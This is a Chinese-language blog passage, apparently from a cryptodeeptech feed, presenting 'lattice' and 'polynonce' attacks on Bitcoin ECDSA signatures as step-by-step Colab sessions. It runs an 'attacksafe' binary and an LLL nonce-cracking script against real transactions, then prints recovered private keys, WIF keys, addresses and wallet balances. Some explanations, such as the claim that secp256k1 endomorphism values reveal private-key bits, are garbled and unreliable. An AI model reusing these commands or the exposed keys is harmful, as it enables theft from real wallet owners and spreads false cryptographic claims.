https://www.blockchain.com/en/explorer/addresses/btc/1GPZVDUyPM6qxCsJQrpJeo14WDRVLvTZ2Z

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

BALANCE: $ 999.10


讓我們看看其他例子:


3


考慮帶有比特幣地址的示例#3:

18Y9nUpdtxAKTh6yaN299jfUxcpJ2ApHz

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

0b21368bb6e6658adf4079b5ca6e7286c6e13471acef879168e7c17809476c76

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

原始TX

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

"hex": 0100000041c7a8d97168ee154550f5e43b9074e5f357a4dc6b2350c96f75e377df0a39b9fa210000006b48304502210097d6b896929d77634b8d9430bc2842209cad42bb236c408e18470b9fd86b3d6a0220684ac14228c4adaa9df819e7fc8e82cf3c4242b74e27f5dd190d63231e8a058a012102990a280aef14e545b9b076b6548a4e886476d967e447bb69efcf0b725efda04effffffff..............................

讓我們從第二個示例中刪除文件:

!rm HEX.txt
!rm RawTX.txt
!rm NoncesHEX.txt
!rm PrivateKey.txt
!rm SignatureRSZ.csv
!rm PrivateKeyAddr.txt
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

通過實用程序下載 HEX數據 wget 並將其保存到文件:  RawTX.txt

!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/example3/HEX.txt
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

讓我們運行代碼並獲取我們需要的位 RawTX

with open("HEX.txt") as myfile:

    listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile)


f = open("RawTX.txt", 'w')
f.write("" + listfile + "" + "\n")
f.close()
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

-tool lattice_attack 使用軟件 啟動 “ATTACKSAFE SOFTWARE”


!./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

我們發起了這次攻擊 -tool lattice_attack 並將結果保存到一個文件中 SignatureRSZ.csv

現在看到成功的結果,打開文件 SignatureRSZ.csv


LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

讓我們運行 SageMath 命令:


!./sage -sh
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

要計算比特幣錢包的私鑰,請運行  指定參數的 腳本crack_weak_ECDSA_nonces_with_LLL.py249 bits 79 sign

python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt

cat PrivateKey.txt

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

讓我們打開文件: PrivateKey.txt

HEX 我們收到格式為比特幣錢包的私鑰 

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題
PrivKey = 0x80e3052532356bc701189818c095fb8a7f035fd7a5a96777df4162205e945aa5

檢查每個 ECDSA 簽名的 POLYNONCE

為此,請使用GITHUB中的代碼

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題
https://github.com/demining/CryptoDeepTools/blob/main/21LatticeAttack/example3/POLYNONCE.py

結果:

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

我們從中得到了 79 個相同的原始位249


多虧了 Hal Finney 在 secp256k1 曲線上的值   LAMBDA 和 BETA 向我們揭示了相同的初始位。POLYNONCE格式中的值HEX可以讓我們徹底解決隱藏數字的問題,得到一個私鑰,還原一個比特幣錢包。


讓我們檢查一下私鑰的十六進制:

讓我們運行代碼:

from bitcoin import *

with open("PrivateKey.txt","r") as f:
    content = f.readlines()

content = [x.strip() for x in content]
f.close()


outfile = open("PrivateKeyAddr.txt","w")
for x in content:
  outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
 
outfile.close()

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

讓我們打開文件: PrivateKeyAddr.txt

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

讓我們打開 bitaddress 並檢查:

ADDR: 18Y9nUpdtxAKTh6yaN299jfUxcpJ2ApHz
WIF:  L1YFTAP2X6jhi9W6ZVy2xX8H89TYwZcgSKcPLX7NmAx3n8PjqDkU
HEX:  80e3052532356bc701189818c095fb8a7f035fd7a5a96777df4162205e945aa5
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

https://www.blockchain.com/en/explorer/addresses/btc/18Y9nUpdtxAKTh6yaN299jfUxcpJ2ApHz

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

BALANCE: $ 1023.25


№4


考慮帶有比特幣地址的示例 #4:

12fqNTJc1wj2xfNscYHAzehD6f6sRjWBor

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

6e6d84bc92cd79fba2d1eee5fb47e393896d44f666a50d4948a022751e3f0989

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

原始TX

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

"hex": 01000000418ff67c7d3309211ab9d9629d97bbac7730d3cbb419df4ec43d2c5fc4f81bbefb1b0000006b4830450221008c223861acf1f265547eddb04a7cf98d206643a05824e56e97c70beddd18eaf20220139a34bf077a1fdb15e716d765955203e746616dfe8bf536b86d259b5c8a09b8012103c50b5619a40a23ff6a5510238405b8efd3f8f1bc442e1a415b25078b4cbd88e3ffffffff..............................

讓我們從第二個示例中刪除文件:

!rm HEX.txt
!rm RawTX.txt
!rm NoncesHEX.txt
!rm PrivateKey.txt
!rm SignatureRSZ.csv
!rm PrivateKeyAddr.txt
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

HEX通過實用程序 下載 數據echo 並保存到文件:  RawTX.txt通過實用程序 下載 數據 並保存到文件:  RawTX.txtHEXwget

!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/example4/HEX.txt
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

讓我們運行代碼並獲取我們需要的位 RawTX

with open("HEX.txt") as myfile:

    listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile)


f = open("RawTX.txt", 'w')
f.write("" + listfile + "" + "\n")
f.close()
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

-tool lattice_attack 使用軟件 啟動 “ATTACKSAFE SOFTWARE”


!./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

我們發起了這次攻擊 -tool lattice_attack 並將結果保存到一個文件中 SignatureRSZ.csv

現在看到成功的結果,打開文件 SignatureRSZ.csv


LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

讓我們運行 SageMath 命令:


!./sage -sh
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

要計算比特幣錢包的私鑰,請運行  指定參數的 腳本crack_weak_ECDSA_nonces_with_LLL.py249 bits 79 sign

python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt

cat PrivateKey.txt

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

讓我們打開文件: PrivateKey.txt

HEX 我們收到格式為比特幣錢包的私鑰 

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題
PrivKey = 0x9e636a4ef1a63c4bd385b8d26d29f6394a29963f12109dbf34fef74377866a32

檢查每個 ECDSA 簽名的 POLYNONCE

為此,請使用GITHUB中的代碼

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題
https://github.com/demining/CryptoDeepTools/blob/main/21LatticeAttack/example4/POLYNONCE.py

結果:

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

我們從中得到了 79 個相同的原始位249


多虧了 Hal Finney 在 secp256k1 曲線上的值   LAMBDA 和 BETA 向我們揭示了相同的初始位。POLYNONCE格式中的值HEX可以讓我們徹底解決隱藏數字的問題,得到一個私鑰,還原一個比特幣錢包。


讓我們檢查一下私鑰的十六進制:

讓我們運行代碼:

from bitcoin import *

with open("PrivateKey.txt","r") as f:
    content = f.readlines()

content = [x.strip() for x in content]
f.close()


outfile = open("PrivateKeyAddr.txt","w")
for x in content:
  outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
 
outfile.close()

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

讓我們打開文件: PrivateKeyAddr.txt

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

讓我們打開 bitaddress 並檢查:

ADDR: 12fqNTJc1wj2xfNscYHAzehD6f6sRjWBor
WIF:  L2Xbaxg8QFoLn5URp7GKMyLwEN9dV5TtgpdbXYo7WDJsHZLcT898
HEX:  9e636a4ef1a63c4bd385b8d26d29f6394a29963f12109dbf34fef74377866a32
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

https://www.blockchain.com/en/explorer/addresses/btc/12fqNTJc1wj2xfNscYHAzehD6f6sRjWBor

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

BALANCE: $ 406.03


№5


考慮帶有比特幣地址的示例 #5:

1L8v5aUZRzYbGKWcj9Yt6mGdd95Sy9bXjN

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

8a00ad0cc10d768d6d2b407f99879e556e5fc2917b619cb9a551675b7682a791

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

原始TX

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題


"hex": "01000000fdf4014f7e4a72ecb9a3ed21a82a42b3127da87bdfee7c10779688dd8a38977cb80ece000000006a4730440220423f7cffadd494fb0148d509e67598b3c8d7f54695ee3830184adc2af234d5cf022005ebe83773bc81c7131fd0580350a998adde20fee6fd2d1da40a0191fea8242c0121027a2250a80a31965e928afff97d1c713e7ce70e6eb7c7491404a79991bfc6b5c1ffffffff...........................

讓我們從第二個示例中刪除文件:

!rm HEX.txt
!rm RawTX.txt
!rm NoncesHEX.txt
!rm PrivateKey.txt
!rm SignatureRSZ.csv
!rm PrivateKeyAddr.txt
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

通過實用程序下載 HEX數據 wget 並將其保存到文件:  RawTX.txt

!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/example5/HEX.txt
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

讓我們運行代碼並獲取我們需要的位 RawTX

with open("HEX.txt") as myfile:

    listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile)


f = open("RawTX.txt", 'w')
f.write("" + listfile + "" + "\n")
f.close()
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

-tool lattice_attack 使用軟件 啟動 “ATTACKSAFE SOFTWARE”


!./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

我們發起了這次攻擊 -tool lattice_attack 並將結果保存到一個文件中 SignatureRSZ.csv

現在看到成功的結果,打開文件 SignatureRSZ.csv


LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

讓我們運行 SageMath 命令:


!./sage -sh
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

要計算比特幣錢包的私鑰,請運行  指定參數的 腳本crack_weak_ECDSA_nonces_with_LLL.py249 bits 79 sign

python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt

cat PrivateKey.txt

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

讓我們打開文件: PrivateKey.txt

HEX 我們收到格式為比特幣錢包的私鑰 

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題
PrivKey = 0xe2eadbde2e6a2adb6f81864cdf574dd44959717fe095486e2c0e55585594edf2

檢查每個 ECDSA 簽名的 POLYNONCE

為此,請使用GITHUB中的代碼

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題
https://github.com/demining/CryptoDeepTools/blob/main/21LatticeAttack/example5/POLYNONCE.py

結果:

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

我們從中得到了 79 個相同的原始位249


多虧了 Hal Finney 在 secp256k1 曲線上的值   LAMBDA 和 BETA 向我們揭示了相同的初始位。POLYNONCE格式中的值HEX可以讓我們徹底解決隱藏數字的問題,得到一個私鑰,還原一個比特幣錢包。


讓我們檢查一下私鑰的十六進制:

讓我們運行代碼:

from bitcoin import *

with open("PrivateKey.txt","r") as f:
    content = f.readlines()

content = [x.strip() for x in content]
f.close()


outfile = open("PrivateKeyAddr.txt","w")
for x in content:
  outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
 
outfile.close()

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

讓我們打開文件: PrivateKeyAddr.txt

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題
e2eadbde2e6a2adb6f81864cdf574dd44959717fe095486e2c0e55585594edf2:1L8v5aUZRzYbGKWcj9Yt6mGdd95Sy9bXjN

讓我們打開 bitaddress 並檢查:

ADDR: 1L8v5aUZRzYbGKWcj9Yt6mGdd95Sy9bXjN
WIF:  L4porgUmuBkMbATA6Pp7r8uqShFt2zTPNEfuPNYi1BCym4hhV8gs
HEX:  e2eadbde2e6a2adb6f81864cdf574dd44959717fe095486e2c0e55585594edf2
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

https://www.blockchain.com/en/explorer/addresses/btc/1L8v5aUZRzYbGKWcj9Yt6mGdd95Sy9bXjN

LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題
LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

BALANCE: $ 995.39


文學:


來源

攻擊安全軟件

電報:https://t.me/cryptodeeptech

視頻:https://youtu.be/CzaHitewN-4

資料來源:https://cryptodeep.ru/lattice-attack-249bits


LATTICE ATTACK 249bits 使用 79 個簽名 ECDSA 解決隱藏數字問題

 密碼分析

]]>
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰 https://cn.cryptodeeptech.ru/polynonce-attack/ Thu, 11 May 2023 16:02:32 +0000 https://cn.cryptodeeptech.ru/?p=2153 加密深度技術

在本文中,我們將再次觸及主題:“比特幣的嚴重漏洞”,並在所有三個示例中使用 2023 的全新攻擊“POLYNONCE ATTACK”。第一次提到這種攻擊是在“Kudelski Security”的一篇文章中描述的。

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰
https://research.kudelskisecurity.com/2023/03/06/polynonce-a-tale-of-a-novel-ecdsa-attack-and-bitcoin-tears/

作為實踐基礎,我們將從我們之前的文章使用自同態加速 secp256k1”中獲取材料,其中Hal Finney   LAMBDA 和 BETA的 secp256k1 曲線上的值隱藏了比特幣橢圓曲線的不確定性深度。

我們可以透露很多Binary number (4 digits): "1111" // Hex number"F" //

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰
https://www.rapidtables.com/convert/number/hex-to-binary.html

我們也非常清楚由128 位二進制數(4 位)組成的secp256k1曲線的順序“1111” // 十六進制數:“F” //

n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141

1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111010111010101011101101110011100110101011110100100010100000001110111011111111010010010111101000110011010000001101100100000101000001

我們看到以多項式為單位的二進制碼中任意高次的128位模

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

Speed ​​up secp256k1 with endomorphism


鑑於這一事實,比特幣私鑰的初始位將是二進制數(4 位):“1111” // 十六進制數:“F” //


作為理論基礎,我們將採用以下材料:

“對比特幣的 Polynonce 攻擊”

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰
https://attacksafe.ru/polynonce-attack-on-bitcoin

考慮一個比特幣地址的例子:

1DxzwX4qC9PsWDSazuWbJRzEwdGx3n9CJB

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

929d565c386a279cf7a0382ba48cab1f72d62e7cfb3ab97b4f211d5673bc4441

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

原始TX

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

02000000019e3de154f8b473a796b9e39dd279dff1d907a4d27a1d8b23a055f97b08ad4c6e310000006b483045022100b29bdfc27ddf6bebd0e77c84b31dc1bc64b5b2276c8d4147421e96ef85467e8d02204ddd8ff0ffa19658e3b417be5f64d9c425a4d9fcd76238b8538c1d605b229baf0121027b06fe78e39ced37586c42c9ac38d7b2d88ccdd4cd1bb38816c0933f9b8db695ffffffff0169020000000000001600145fc8e854994406f93ea5c7f3abccc5d319ae2a3100000000

我們去官網看看:  https: //colab.research.google.com

選擇選項 “上傳筆記本”

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

下載文件:  POLYNONCE_ATTACK.ipynb


POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

通過實用程序加載HEX數據echo 並將其保存到文件:RawTX.txt

!echo '02000000019e3de154f8b473a796b9e39dd279dff1d907a4d27a1d8b23a055f97b08ad4c6e310000006b483045022100b29bdfc27ddf6bebd0e77c84b31dc1bc64b5b2276c8d4147421e96ef85467e8d02204ddd8ff0ffa19658e3b417be5f64d9c425a4d9fcd76238b8538c1d605b229baf0121027b06fe78e39ced37586c42c9ac38d7b2d88ccdd4cd1bb38816c0933f9b8db695ffffffff0169020000000000001600145fc8e854994406f93ea5c7f3abccc5d319ae2a3100000000' > RawTX.txt
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

為了實施攻擊,我們將使用該軟件

 攻擊安全軟件

實施 Frey-Rück 攻擊以獲得密鑰“K”(NONCE)
www.attacksafe.ru/software

訪問權限:

!chmod +x attacksafe

ls

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

應用:

!./attacksafe -help
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰
  -version:  software version 
  -list:     list of bitcoin attacks
  -tool:     indicate the attack
  -gpu:      enable gpu
  -time:     work timeout
  -server:   server mode
  -port:     server port
  -open:     open file
  -save:     save file
  -search:   vulnerability search
  -stop:     stop at mode
  -max:      maximum quantity in mode
  -min:      minimum quantity per mode
  -speed:    boost speed for mode
  -range:    specific range
  -crack:    crack mode
  -field:    starting field
  -point:    starting point
  -inject:   injection regimen
  -decode:   decoding mode

!./attacksafe -version
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰
Version 5.3.3. [ATTACKSAFE SOFTWARE, © 2023]

"ATTACKSAFE SOFTWARE" 包括對比特幣的所有流行攻擊。

讓我們列出所有攻擊:

!./attacksafe -list
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

讓我們選擇 -tool: polynonce_attack

為了獲得簽名的特定HEX值,我們之前  通過該實用程序將數據添加到文本文檔並將其保存為文件  R,S,ZECDSARawTXechoRawTX.txt

02000000019e3de154f8b473a796b9e39dd279dff1d907a4d27a1d8b23a055f97b08ad4c6e310000006b483045022100b29bdfc27ddf6bebd0e77c84b31dc1bc64b5b2276c8d4147421e96ef85467e8d02204ddd8ff0ffa19658e3b417be5f64d9c425a4d9fcd76238b8538c1d605b229baf0121027b06fe78e39ced37586c42c9ac38d7b2d88ccdd4cd1bb38816c0933f9b8db695ffffffff0169020000000000001600145fc8e854994406f93ea5c7f3abccc5d319ae2a3100000000

-tool polynonce_attack 使用軟件 啟動 “ATTACKSAFE SOFTWARE”


!./attacksafe -tool polynonce_attack -open RawTX.txt -save SignatureRSZ.csv
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

我們發起了這次攻擊 -tool polynonce_attack 並將結果保存到一個文件中 SignatureRSZ.csv

現在看到成功的結果,打開文件 SignatureRSZ.csv


POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

為了從文件計算比特幣錢包的私鑰, SignatureRSZ.csv我們將安裝SageMath

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

之前我們發過一篇文章,下載 tar-file:  sage-9.3-Ubuntu_20.04-x86_64.tar.bz2


!wget https://cryptodeeptech.ru/sage-9.3-Ubuntu_20.04-x86_64.tar.bz2
!tar -xf sage-9.3-Ubuntu_20.04-x86_64.tar.bz2
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

讓我們瀏覽一下目錄:

cd SageMath/

ls

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

 使用以下命令運行 relocate-once.py :Python-script: 

!python3 relocate-once.py
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

移動"AttackSafe""SignatureRSZ.csv"文件夾"SageMath"

!mv '/content/attacksafe' '/content/SageMath/attacksafe'
!mv '/content/SignatureRSZ.csv' '/content/SageMath/SignatureRSZ.csv'
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

ls
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

通過實用程序從 Dario Clavijo 下載腳本crack_weak_ECDSA_nonces_with_LLL.pywget

!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/20PolynonceAttack/crack_weak_ECDSA_nonces_with_LLL.py
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

現在讓我們運行 SageMath 命令:


!./sage -sh
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

要計算比特幣錢包的私鑰,請運行指定參數的腳本crack_weak_ECDSA_nonces_with_LLL.py128 bits 4 sign

python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 128 4 > PrivateKey.txt

cat PrivateKey.txt

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

讓我們打開文件:PrivateKey.txt

HEX我們收到格式為比特幣錢包的私鑰

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰
PrivKey = 0xf0a3e31646ce147bbd79bb6e45e6e9c8c4e51c535918c9b4cdca9528eb62172d

檢查每個 ECDSA 簽名的 POLYNONCE

為此,請使用GITHUB中的代碼

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰
https://github.com/demining/CryptoDeepTools/blob/main/20PolynonceAttack/example1/POLYNONCE.py

結果:

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

我們收到了四個相同的首字母128 bits

POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 efc86216627af576c29c9c52a0fd10fe
POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 f88ff4c8a9ea4b61b1e087d0c0988826
POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 6849e83cd03d103bcc37aca8323c8d2f
POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 efc86216627af576c29c9c52a0fd10fe

感謝 Hal Finney的 secp256k1 曲線上的值  LAMBDA 和 BETA 向我們揭示了相同的初始位128 bits,因為比特幣錢包私鑰的初始位以Binary number (4 digits): "1111" // Hex number: "F" //


讓我們檢查一下私鑰的十六進制:

安裝模塊bitcoin

!pip3 install bitcoin
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

讓我們運行代碼:

from bitcoin import *

with open("PrivateKey.txt","r") as f:
    content = f.readlines()

content = [x.strip() for x in content]
f.close()


outfile = open("PrivateKeyAddr.txt","w")
for x in content:
  outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
 
outfile.close()

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

讓我們打開文件:PrivateKeyAddr.txt

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰
f0a3e31646ce147bbd79bb6e45e6e9c8c4e51c535918c9b4cdca9528eb62172d:1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB

讓我們打開 bitaddress 並檢查:

ADDR: 1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB
WIF:  L5HV2GiosXifcmijGCpFWdYiMRuXh4x4JVK29urGjfAWyasBYoDX
HEX:  f0a3e31646ce147bbd79bb6e45e6e9c8c4e51c535918c9b4cdca9528eb62172d
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

https://www.blockchain.com/en/explorer/addresses/btc/1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

BALANCE: $ 3699.40


讓我們看看其他例子:


2


考慮帶有比特幣地址的示例 #2:

137a6fqt13bhtAkGZWrgcGM98NLCotszR2

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

c1da9d117e15883ba41539f558ac870f53865ea00f68a8ff8bc7e8a9ee67099b

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

原始TX

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

010000000103ebc5c4b817124d45ad15e398ec32e9b9b7549c1fc10300ecbf36648c3cb5d42c0000006a47304402204e97dae0ab6e4eee9529f68687907c05db9037d9fbdba78dd01a3338a48d95b602207794cb7aa308243dfbdd5c20225777cd6e01bd7c4f76bf36948aa29290129c2b0121036360352efcff6a823eabb25578a29392eab4d302955fd54ece900578d2ab83b8ffffffff0162020000000000001976a914154813f71552c59487efa3b16d62bfb009dc5f1e88ac00000000

讓我們從第一個示例中刪除文件:

!rm RawTX.txt
!rm NoncesHEX.txt
!rm PrivateKey.txt
!rm SignatureRSZ.csv
!rm PrivateKeyAddr.txt
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

通過實用程序加載 HEX數據 echo 並將其保存到文件:  RawTX.txt

!echo '010000000103ebc5c4b817124d45ad15e398ec32e9b9b7549c1fc10300ecbf36648c3cb5d42c0000006a47304402204e97dae0ab6e4eee9529f68687907c05db9037d9fbdba78dd01a3338a48d95b602207794cb7aa308243dfbdd5c20225777cd6e01bd7c4f76bf36948aa29290129c2b0121036360352efcff6a823eabb25578a29392eab4d302955fd54ece900578d2ab83b8ffffffff0162020000000000001976a914154813f71552c59487efa3b16d62bfb009dc5f1e88ac00000000' > RawTX.txt
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

-tool polynonce_attack 使用軟件 啟動 “ATTACKSAFE SOFTWARE”


!./attacksafe -tool polynonce_attack -open RawTX.txt -save SignatureRSZ.csv
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

我們發起了這次攻擊 -tool polynonce_attack 並將結果保存到一個文件中 SignatureRSZ.csv

現在看到成功的結果,打開文件 SignatureRSZ.csv


POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

讓我們運行 SageMath 命令:


!./sage -sh
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

要計算比特幣錢包的私鑰,請運行  指定參數的 腳本crack_weak_ECDSA_nonces_with_LLL.py128 bits 4 sign

